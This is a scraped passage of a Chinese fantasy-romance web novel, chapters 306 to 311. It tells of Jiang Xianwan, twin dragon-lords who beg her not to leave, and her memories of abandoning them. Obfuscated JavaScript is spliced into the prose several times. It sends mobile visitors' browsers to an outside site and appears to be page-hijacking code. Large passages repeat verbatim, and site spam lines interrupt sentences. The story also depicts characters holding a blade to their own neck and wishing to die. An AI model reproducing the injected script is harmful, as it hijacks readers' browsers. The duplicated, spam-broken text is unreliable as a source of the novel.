近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228762|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 若天地间最澄净的一捧新雪落成了人形。 那是一种剔透又纯粹的美,干净得让人自惭形秽,仿佛多看一眼都是惊扰。 气质迥异,呈现出全然不同的韵味。 他只看了她身后少年一眼,可怜的确定什么。 在触碰到她眸光的刹那,惶然得如一只被雨水打湿了羽毛的雏鸟。 一双澄澈的眼眸蒙上了层层水光,湿漉漉地望着人。 近乎透明冷白的半张面容,惊慌无处遁形,如身后少年,如出一辙,全然复刻。 玉白的指骨珍之又重捏紧了手里的九子攒盒,光洁的下颌上还沾着一点来不及擦拭的面粉痕迹。 身形尽数显露出,整个人都散发出一种易碎而纯净的哀怜,像是一件精美却即将碎裂的瓷器。 又同样死死噙住了眼底的水光。 吐出的声音极轻极缓,没有半分力道,轻得像坠落的尘埃,透着一股精心斟酌过的柔软,和小心翼翼的试探。 “姐姐,我,我和休寅做了糕点。” 曜灵局促的擦了一下脸,唇角努力弯出一个软软的笑。 “姐姐尝一尝好不好?” “一口就好的。” 眼底的泪,却是要崩了。 江献晚:“……” 曜灵。 休寅。 灵休帝尊。 望着一玄一白,于她身后身前,一沉凝一空灵的少年。 明明是一幅绝美梦幻,极为赏心悦目的画卷。 她的心开始想逃,身体反而稳稳伫立。 眼睁睁的看着那雪肤墨发,唇角努力弯着柔软小弧度的少年,恍若走向唯一的光,小心翼翼向她走来。 甚至以卑躬屈膝的姿态,弓下脊背,压低头颅,轻轻的将下颌搭在她肩头,像是触碰一片转眼就能消失的雪花。 “姐姐,不要走……不要走好不好……” “曜灵真的很想……很想姐姐……” 那许多压抑的心绪陡然哽咽着轻声诉出,江献晚腰间便又多出一双颤抖的手。 背后微凉的气息,恍若林涧最孤冷的松香,随着踉跄的步履,轻轻环拥住了她。 下颌搭在她另一处肩头。 泪瞬间打湿她的衣料,也浇在心上。 “姐姐……不要赶我们走……求你……” “能不能不走了……” 第 307 章 一厢情愿 江献晚立在中间。 心底的反应是—— 天道! 我与你势不两立! 身体的反应却是—— 灵力一震,将双生子从她身上震开。 看也不看愕然怔在原地,连泪珠都凝滞在下颌的两个少年,终于肯吐露冰冷的一句。 “你们认错人了。” 江献晚:“……” 她是很想说,你们认错人了。 试图逃避,狡辩自己心底最后的那点坚持。 不肯接受现实。 不肯接受突然跳出来,打乱她一切平静生活的前尘往事。 可,嘴里说出的这句话,分明是认得双生子,却不愿认。 她说罢,控制不了自己,不待人反应,转身踏向三十三座殿。 没有踌躇。 更不犹豫。 每每转身,皆是决绝。 望着那道丝毫不作留恋的背影,曜灵和休寅面色煞白,徒留两具僵硬了的躯壳,最简单的呼吸都变得无比艰难。 又是这样。 又是如此。 他们永远留不下她。 而她。 亦不会为了他们停下脚步,哪怕只是片刻。 他们到底该怎么做,才能留下姐姐…… 然而,就在江献晚抬脚的那一刹那。 两个在她面前卑微到尘埃里的双生子,再不作语。 配合默契,忽然一前一后,碎了她掀开他们的灵力,阻了她的去路。 江献晚才知,方才那毫无帝尊该有的模样的双生子,与人交起手来。 惊艳绝伦的皮囊之下,栖居着的是真正执掌生杀、不容丝毫忤逆的帝尊。 双生子眼底的水色更甚,眼底却寸寸碎裂,卑微稍弯的脊背,缓慢挺直了。 清透的眼睛里,只剩下一种同样执拗,飞蛾扑火的孤注一掷。 甚至没有动用任何花哨的术法,只是抬了手。 指节分明、白皙修长的手,看起来更适合执笔抚琴,此刻却成了最可怕的利器。 动作快得只余下一片模糊的残影,指尖掠过之处,空间似 听说看这本书的人都是很幸运的,分享后你的运气会更棒 乎都发生了细微的扭曲。 江献晚脚步一顿。 才想起,双生子再如何在她眼前卑微,到底是灵休帝尊! 寥寥几笔记载,字字无不是惊绝的墨笔。 自然不敢小看,身体早有预料,压身躲过两只同时向她肩上探来的手,后仰倒飞之际,抬腿碎了曜灵与休寅的灵力。 三股渡劫期的灵力,轰然对撞,发出一声沉闷如雷的巨响。 空间竟如琉璃般不堪重负,崩裂出无数清晰可见的扭曲纹路。 骇人的冲击力,其势不止,整个圣坛,乃至三十三座宫殿都在剧烈摇晃,下一刻便要尽数崩塌。 江献晚一点脚,四方大阵起,瞬间稳下动静。 而双生子,再次欺身,不必眼神交汇,宛如一体同心,动作极致的同步与预判。 一左一右,天衣无缝,扣住了她一只手腕,彻底封锁了她的去路。 曜灵看着她时,神色向来是极乖软的,湿漉漉的眸子尽管像是随着这一声音爆,被猛地击碎。 自嘲和绝望的低低气音,仍是柔柔的,没有脾气。 他没有用力,却如愿以偿,短暂留下了她。 苍白的唇轻轻翕和,气若游丝,千言万语、万般委屈堵在喉间,最终化作了一片无声的浪潮。 “果然,只有这样才能留下姐姐的脚步。” 姐姐曾说过,只有强者才配留下她的脚步。 所以,他们每日每夜努力修行、变强,与她并肩,傻傻的以为这样就可以留下她,站在她身边。 她心里仍是没有一点他们的位置。 哪怕,只是一点。 就是那只是怜悯。 “所以。”休寅喉间滚出一声极轻极哑的笑音,似哭非哭,充满无尽的苦涩与自嘲,轻不可闻,“每次只能以这样的方式,姐姐才会愿意留下吗?” 江献晚:“……” 什么意思?! 他们仨经常打架? 她不由得想起三王为什么要她揍双生子,扇人家脸的话。 很快,江献晚确定了这个猜想。 是的。 她跟双生子之间恐怕打了不少架。 估计每次见面都打。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 赤手空拳。 因为……双生子熟知她每一个招数,就连他们的打架风格,都跟她很是相像。 江献晚眉微蹙,出于身体不喜被任何人压制的本能,手腕一拧。 只是…… 她出拳,双生子四两拨千斤,她蹬腿,双生子直接握上她的足踝。 倒也确实……没拿厄弓与痕剑对着她。 因为……那俩玩意儿,像是早就习惯了一般,垂头丧气飘向宫殿殿脊……将自己一放。 就好像……看自己爹妈又双叒叕干起了仗,只能提心吊胆、胆战心惊的注意着这边。 不敢劝。 根本不敢劝。 先不说这俩。 被她一袖子挥走的三王,乐颠颠的又连滚带爬,滚到了圣坛。 还是意义上的滚。 撸起袖子,站在界碑前,得得瑟瑟的给她加油打气、摇旗呐喊。 “我就说吧,一来肯定是来俩! “俩咋了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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惯常的冰冷与此刻失控的泪水,让他看起来宛如一座在迷雾中忽然迷失了方向的孤傲雪山。 像是如何都想不到,她会为了三王,打他们。 又像是心里其实全然有预料,所以不避不让,甘心受了这个现实,受了她给的一巴掌。 深埋着的,是无声的绝望质问。 三王是她的人,那,他们算什么? 无足轻重、微不足道的……陌生人? 永远不被她纳入心底哪怕只是一个小角落的累赘、包袱。 一个,麻烦。 看着那两双水光猝不及防溃堤而出的潮湿眼眸,再无法完全掌控自己表情的双生子。 江献晚又退了一步。 到了此刻。 已然确定。 一声声的姐姐,并非什么姐弟之情。 灵休帝尊和界皇有**! 只不过这个**,是单方面的**,双生子的一厢情愿! 第 308 章 不是你们的姐姐 江献晚久久不能回神,没有再挣脱,也没有再朝双生子出手。 一路上不言不语,像机是械的提线木偶,一时间卡了壳,陷入虚妄。 直到双生子将她牵入三十三座殿不远处的一处山洞。 她不知是如何心甘情愿,好心放下那个‘麻烦’的想法,跟着过来。 可能是这具身子,难得生出了一丝微弱的良知。 又或许,无奈低头让步,勉强挤出一点时间,打发双生子。 可眼前的一幕,让她心底实实足足的怔愣。 她不能想象,距离界皇寝殿不远的位置,何时多出的这么一处漂亮的山洞。 恍若一个被小心翼翼保护、见不得天光的……家。 对。 就是家。 离她最近,似乎就能沾染上她气息,仿佛她存在的家。 更想不到,曜灵和休寅时怀着一种怎样的心情,将这座山偷偷开辟出一处洞府。 布置成了这般满室珠光,温馨舒适的模样。 亦不知他们待在地,等了多久,盼了多久。 又……躲了多久。 江献晚环视四周,掠过被严丝合缝,自然嵌在岩石里,一颗颗浑圆的鲛珠。 床具器物,一应俱全。 连石壁都被打磨的找不出一点尖锐的痕迹。 甚至,也有为她准备的镜台、妆匣。 还有,满满烟火气息的小火炉,和一小堆木柴。 一点一滴,皆是双生子亲手所筑。 心头倏忽一动。 一个想法窜入脑海。 双生子喜欢亮晶晶的东西。 就像墓碑里,那扇流光熠熠的仙蚌。 曜灵见她的视线,落定在洞中那汪水面隐有熠熠流光轻淌的清泉,尽管知道她不会吃,还是局促的将看起来最甜的果子喂在她唇边。 早已忘记方才发生的事,还有自己这张已然被面具刮擦的、微微红肿的面颊。 柔声道:“姐姐,很甜的。” 洞外有棵荔枝树,刚开始只是一棵蔫巴巴的小幼苗,他与休寅时常照看,后来便枝繁叶茂,像一团浓的化不开的绿云。 绿浪翻滚, 你的朋友正在书荒,快去帮帮他吧 飒飒作响。 结的果子,还会压弯枝头,又甜又莹润。 可是。 姐姐向来不吃这种东西。 确切的说,不吃任何东西。 江献晚睫毛微落,便看到两个膝头及地,以虔诚姿态,跪在她脚边的少年。 那眉眼软软的少年,耐心举着指尖莹白的果肉,唇角抿出浅浅的小弧度,目光专注的落在她脸上。 唯独不记得自己的伤痛。 而神色生来便是一副冷冽的少年,有些红肿的面颊,轻轻偎在她膝头。 挺拔的身躯,一时间,尽数放松下。 所有的耐心和温柔,皆含在怔怔望着她眼睛的眸子里。 又是那种毫无帝尊该有的模样。 一巴掌能换来她的片刻陪伴,便暗暗喜不自禁、又小心备至的捧在心尖。 乖顺的不知如何是好。 江献晚没有看荔枝,平静的视线,难得久久落在那一个模子里刻出来的两张面容。 双生子恐怕在她面前从不戴面具,珠光柔柔的透出来,样貌年轻却过于出挑,脸庞的骨相轮廓已清晰利落,下颌线条流畅而收束得极巧。 眼眸的颜色比常人要略浅一些,清透润泽,又像是浸在冰水里的顶级墨玉,黑白分明得惊人。 长而密的睫毛垂落时,如鸦羽在眼下投出浅浅阴影,抬起眼时,眸中水光潋滟,眼神清澈剔透,不染丝毫杂质。 偶尔有光芒掠过,便像是星辰坠入深潭。 既有不谙世事的纯净,又隐隐带着洞彻人心的明亮。 尤其是双生子那抹霞色悄然染上的双颊与耳廓,生动得惊心。 以至于带了些非人间的意味,不像尘世里娇养出的少年。 倒像是九天之上偶然误入凡尘、暂歇于檐下的玉色灵蕊,或是古卷中走出的精魂,雨一停便要散去。 这般乖巧的看着人,叫人看了,应当是想怜惜、珍爱。 她却……仍是一脸冷漠的神色。 装模作样的端着一般。 至始至终,都没有去看那果肉白嫩丰沛的荔枝肉。 江献晚很是无奈。 更彷徨。 饶是她如何作想,但管不住她 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 自个的嘴。 唇一张,又是掏心窝子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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该拿双生子如何。 该拿这份情谊如何。 狼狈而复杂的剧烈情绪,使得她再次短暂掌控了这具身体。 只来得及缓缓道出半句—— “我,不是你们的姐姐……” 或许,应该说,不是你们心里的那个姐姐。 江献晚:“……” 后半句卡在喉中。 卡在这具身体里。 第 309 章 够够 不是他们的姐姐? 休冥微微一愣,旋即缓缓直起身来,将面颊自她膝上移开。 他表情有些可怜的茫然,茫然过后,很快取而代之的是苍白,鬓角不知不觉沁出一层细密的冷汗。 手指紧了又紧,最终只是伸手替她将面颊的发丝,轻轻绾在耳后。 明知结果如何,固执地衔着最后一丝温柔。 偏是这焚身不悔的执拗。 恰是这孤注一掷的执迷。 苍白薄唇颤抖几瞬,牙关咬紧,努力从唇齿间挤出平静的字音。 “更改不了的事实,你认不认,都是。 “我不会离开姐姐的……除非,我死。 是。 除非他死。 除非姐姐杀了他。 他说到最后,雪白的面颊,隐约透出些青灰,愈发显得唇色红的分外妖娆。 五指虚虚一握,将惊的颤抖不止的厄弓,搁在她掌心。 轻声道:“所以,姐姐不如杀了我吧。 “倒也……从此清静。 “休寅,愿意的。 他愿意。 他似乎也有些累了。 这些年,不管他怎么努力,都追不上姐姐的脚步。 或许,他和哥哥真的是个累赘。 只会惹姐姐烦心的累赘。 他不想姐姐因为他和哥哥心烦,却又放不开手,他会死的。 或许,他也该**。 这样的结果,再好不过。 对他们三人,都算是解脱。 只要他们**,再不会有人惹她讨厌,成为她的累赘。 他说这句话的时候甚至在笑,卷翘而长密的睫毛簌簌,宛如落了一场好看的大雪。 只是,那些总也流不尽的泪,灼穿了眸。 江献晚握着厄弓,手指都跟着不由自主在颤抖。 像是被针扎了一下,倏尔偏眸避开,不去看那泪再次淌了满腮的少年。 更没有拿起厄弓,杀了……这个麻烦。 她根本没有力气,以至于握不住厄弓。 只垂着睫毛,不动不语。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 曜灵屈膝在她脚边,忽而痴痴的笑了。 洞外夜风徐徐,岁月静好,而他,只觉湮灭在无尽的绝望。 曾经,他们以为,他们和姐姐,会长长久久。 看尽夏日生花,再到白雪淋头。 直至肉体神魂消亡,走到时间的尽头,都不会分离。 不曾想,这些只是他与休寅的痴心妄想,一厢情愿,和……自以为是。 尽管他们如何拼了命的小心翼翼,拼了命的屏息凝神。 指尖稳稳捧着那一触即碎的虚无,捧着风中残烛最后摇颤的光晕。 可命运只需弹指一挥,那苦苦维系的珍珑棋局,便在他们眼前铿然崩解,碎得连回声都带着绝望的讽刺。 可是,他不舍,亦不甘。 他与休寅或许太贪心,太自私,总觉得追在她身后,不停的缠着,姐姐早晚有一天,会软了心,回眸看一眼他们。 显然。 这些都不会。 他们,至始至终,都是姐姐的累赘,摆脱不了,家也不愿回的……小麻烦。 曜灵试图眨去眼底的湿意,但,泪珠似乎有它自己的想法,轰然从他眼眶里崩落,泪痕累累,灼伤双腮。 让他的齿关都在跟着发颤,表情惨烈。 他雪袖轻动,宛如一痕月色下的雾丝,薄而锋利的剑刃将颈侧压出一道深深的血痕。 痕剑惊的想颤,不敢,拼命撑着剑身,低低发出一声绝望的悲鸣,试图从他指间脱离。 曜灵握的很稳,感觉不出半分痛意,雪白的袍身本是圣洁,此刻却如一幅残忍的画卷,垂覆着一滴滴愈发饱满、愈发猩红的血珠。 一种近乎殉光的执拗。 生是一股偏执,死亦向火而泣。 嗓音仍是柔软,只乖乖道:“曜灵……曜灵不想姐姐不开心…… 他愿意。 愿意将自己这个‘小麻烦’,从姐姐的世界里抹除。 从此,换姐姐舒心。 兴许,他们也,不会再痛了。 他与休寅,都累了。 仿佛,再也走不动,跟不上。 望着在脚边晕开的一朵朵刺目的惨梅,平静诉说着死亡的双生子,江献晚只觉 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 像是被烧红的铁杆,直直凿进皮肉,心脏收缩,肠胃翻搅。 竟是沙哑的脱口。 试图解释。 “我叫江献晚,或许,并不是你们的姐姐……还有,界皇。” 她忽然吐露出的一句,便发现……双生子最后一丝光华都泯灭的眸,盛满了笑。 笑他们死到临头,都换不来她一点怜惜。 笑到了如今,唯一支撑他们全部力气的称谓,姐姐都不肯留给他们。 随着那锋利的刃,在朦胧珠光下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是,将两条养的瘦巴巴的蛇,强行塞给,刚挨了一拳便直接无语举手、在中州话语权最重的那位掌门。 强迫人家养。 强迫人家接。 那位掌门弄明白他为什么会挨了一拳后,自然是巴不得应下。 一、他养了她的蛇,不看僧面看蛇面,她总不好意思划拉他们家地盘不是? 二、那两条小蛇,其实不是蛇,是龙。 也就是双生子。 江献晚不知,更不欲探究它们是什么。 她只知,她养够了。 养的够够了! 第 310 章 往事 磕磕绊绊散养了许多年,期间丢过无数次。 次次再被缠上,想捏死它们的次数平均高达……一日十次! 至于为什么还能坚持养那么久,全因这两条小东西很会哭,自从被她从壳中敲出来,便赖定了她。 每次在她伸出罪恶之手,绿豆大的眼睛,泪珠子便无声的大颗大颗的落。 又乖又可怜。 她无数次深感厌烦,一次次的将其丟破烂一般,丟的很远。 可不管那两条蔫巴的小蛇,是被她丢到天边,还是埋进土堆,它们每回都能快速的找到她。 继续缠着她。 可她又不是养宠物的,她有自己的事情要做。 当然是果断选择想尽一切办法,抛下这两个总是睡在她袖子里,窝在她衣襟间,挂在她身上的累赘。 原因无他,她不喜欢养宠物,也不喜欢多余的情感,喂饭也想不起来。 她随手一扔,像是扔两个轻飘飘死在她手里的异兽,终于成功的丢给那个掌门之后,更是转头抛在脑后,半点再想不起。 那位甚至不被她记得姓名的掌门,被迫从她手里接过双生子不过两载,便飞升上界。 中州多出了一位灵休帝尊。 统驭百家仙门,飞速壮大崛起,力压南北两境。 江献晚不关心什么灵休帝尊,她没见过双生子化形,就算知道灵休帝尊是两条小龙,是她养过的小蛇,也不会关心。 跟她有什么关系? 她将两个小蛇送走后,转眼抛之脑后,忘的痛快。 继续拳打两境,脚踢两域,一片一片扩大自己的住所。 看吧,她就不适合养宠物。 宠物只会妨碍她打架。 土匪的作风,受到不少没三观、没道德的人魔妖狂热追捧。 她马不停蹄粗暴的划拉过来两境两域各自一大片地盘,直到自个满意。 一手打造了界域,占地为皇。 痛失大片地盘的两境两域,脸疼的厉害,无数次试图夺回自家的地盘。 于是,不是排着队,就是组个队,三天两头来界域找她麻烦。 对此,江献晚还能怎么办。 她最不怕的就是这种打架的麻烦 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 来一个她就打一个。 来一窝她就揍一窝。 还能主动又体贴的跑人家家里 整日不是在打架就是在去打架的路上。 当然看自家的人魔妖不顺眼照样一顿库库暴揍。 但她家那些被她捶的脑壳满是包的人魔妖可谓是求之不得上赶着找揍她越捶他们越开心还能给她整段热情而火辣的舞蹈。 俗话说兵熊熊一个将熊熊一窝。 界皇掀天揭地、不怕死的精神导致界域修士群英荟萃英才辈出。 其土匪特色随了自家皇整日到处乱窜常不着家。 亦是。 不是在打架就是在打架的路上。 这就导致两境两域常年处于一种水深火热、怨声哀悼的状态。 自打这玩意儿出世他们那是跟着开始出事。 但打又打不赢那疯狗界皇。 骂还骂不过界域那群嘴贱的人魔妖。 只能一次次流下**而愤怒的泪水。 江献晚对引起众怒一事毫不在意更没想过会有什么后果。 将两境两域捶的气都喘不出来目光再次回到中州。 她早已记不起那些在她心底留不下一丝痕迹、很快翻页而过的往事。 中州突然多出的帝尊好像还没揍过。 只是不等她上门那个灵什么帝尊跟她心有灵犀一般当晚便主动来到了三十三座宫殿挨揍。 是的挨揍。 毕竟她捶人的功夫比较深厚经验又足总能一拳干到人家的痛点。 整个玄古难逢对手。 灵休帝尊刚开始就被她压着打躺在她的三十三殿半天没回过神。 可能人家觉得抹不开面试图像两境两域垂死反抗。 之后更是每天不间隔天一黑掐着点就来了。 不得不说。 这个帝尊很抗揍。 还很闲。 上赶着过来找揍更是精神可嘉。 江献晚捶他捶的多了难得生出一丝烦躁。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 她倒不介意打架。 但这灵休帝尊跟有病似的,今晚冷,明晚柔,冷热交替。 看她的眼神又很是奇怪。 一会儿伤心欲绝,一会儿欢喜雀跃,一会儿委屈眼红,一会儿冷漠无情…… 打个架都能整出这么多表情。 不像两境两域,只会偷偷唾骂她是……狗。 狗不狗的,倒无所谓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚见到两条小蛇,她觉得有趣,心血来潮,盘腿坐在青青草地上,拿它们的蛋壳,造了一把弓,一把剑,随手丢给它们,当作破壳的贺礼。 两条小蛇欢喜的直来舔她,拿着尾巴尖,卷了一弓一剑,爱不释尾。 今天它卷剑,另一个卷弓。 第二天,再换成另一个卷剑,它卷弓。 江献晚原本还觉得这两条小蛇挺有意思的,不过几天,便厌烦了身上总黏着两条尾巴。 双生子,也被她扔了无数次。 第 311 章 凑个整数 江献晚意识还有些模糊,失神的眸光缓缓聚焦,虚虚地落在一左一右,伏在她颈窝的双生子身上。 曜灵和休寅许是太久没有睡好的缘故,睫毛沉沉的覆下,在眼睑投出一片浅淡的阴影,两张一模一样的睡颜,毫无防备,眉心却同样蹙着。 江献晚脑中空荡荡,没有焦点,也没有思绪,纷扰的声音,缠绕的记忆,退的极远,隔着一层无形的膜。 她只是那样躺着,竟不知自己该想些什么,做些什么。 时间悄然流逝,不知过去了多久。 或许只有一瞬,又或许已是夜尽天明。 洞外的光影缓慢偏移,寂静之中,只听得见三人轻浅的呼吸声。 江献晚极轻地颤了一下睫毛,放空状态中开始有了一丝反应。 她已然掌控这具身体,每一处肌肤、血脉都在响应她的意志,缓缓地,带着几分生疏动了一下。 曜灵立时惊醒,像是受惊的猫儿,尾巴尖倏地缠紧了她的足踝,休寅跟着睁开眼,一抹清晰的慌张迅速浮上来。 双生子睫毛还软软的垂着,倦意未褪,慌忙坐起身,捧起她的手,借着珠光仔细察看那道还未痊愈的伤痕。 “姐姐,是不是又痛了? 曜灵声音颤得厉害,每个字都裹着沉甸甸的自责与心疼,还有几分无措。 休寅细细探过她的灵力,见她迟迟不语,却没有起身,心底蓦地生出一丝微弱的希冀,迟疑地将面颊偎了过去。 “姐姐…… 这一声唤的低哑,带着点潮湿的鼻音,像是在撒娇,又像是无助的哀求。 姐姐下意识握了那剑刃,是不是心底也终究存着……一点点对他们的不舍? 曜灵眼睫微掀,偷偷地觑了一眼她的神情,见那双秾滟的眉目间并未浮现出抵触之色,试探着,极轻极缓地重新躺回她身侧,如同靠近一件易碎的珍宝。 将下颌轻轻搁在她温热的颈窝,像一只终于寻回归宿的幼兽,连呼吸都放得又轻又软。 羽睫翕和,刷的江献晚侧颈发痒。 “我做梦了,梦里……姐姐又丢下了我们。 休寅抿唇不语,显然这几日也睡的极不安稳,微凉的尾巴尖,一圈一圈,偷偷缠上了那段纤细雪白的足踝。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 江献晚睫帘半遮,衣袖下的指尖不由自主的屈了两下。 抵触自己是界皇,抵触界皇时的记忆。 更抵触,在这段记忆里,她竟寻不到风回雪他们的一丝痕迹。 到了此时,她仍不知,余下未能想起的记忆,都有着什么。 她明明是两道双修,明明不该动情。 面对这样的双生子,都能狠下心,为何会与风回雪他们轻易生出一缕情丝。 世人皆说,自那场大战后,灵休帝尊与界皇皆下落不明。 那……后来,她去了哪里,双生子又去了哪里? 若是双生子活着,为何一直从未来找过她。 她为何又会失了记忆,被天道以这样一种方式,送回到三百年。 这些,到底是天道的意思。 还是,她自己的所求。 倘若是她所求,她求的……又是什么? 江献晚不由想起墓碑里那扇巨大的蚌壳。 壳中之物……到底是谁。 那维持生机,保尸身不腐,亦能凝聚温养神魂的龙形仙脉,若是出自她手…… 江献晚阖落睫毛,只觉有柄钝刃,狠狠锯着她。 更让她茫然若失的是,她此刻说出的话,竟是她作为界皇时,独身行走于这天地间的冷漠。 是她。 又不是她。 “离开。” 她想一个人待一会儿。 她可能,要疯了。 休寅表情微微一滞,寒玉般的眸,还未来得及漾开如愿以偿的惊喜,便在她那一句落下的瞬间,应声而碎。 “离开……又是离开?” 他声音低的发哑,像是碎玉刮过心头,带着几分不可置信的颤意。 支颐着缓缓坐起身,动作滞涩的每一寸骨骼都在抵抗。 强撑的平静终是彻底破裂,第一次,痛楚、委屈、不解……彻底爆发了出来,困兽般,一声声的崩溃质问。 “既然要我和哥哥离开,姐姐为什么不任我们**?为什么不叫我们死!” “哪怕我与哥哥努力追随姐姐的脚步与你并肩!” “谁都可以站在姐姐身边,独我和哥哥不行……为什么……为什 你的朋友正在书荒,快去帮帮他吧 么一点点的位置都不肯分给我们?” “还是……” 他蓦地笑了笑,泪水在清澈与 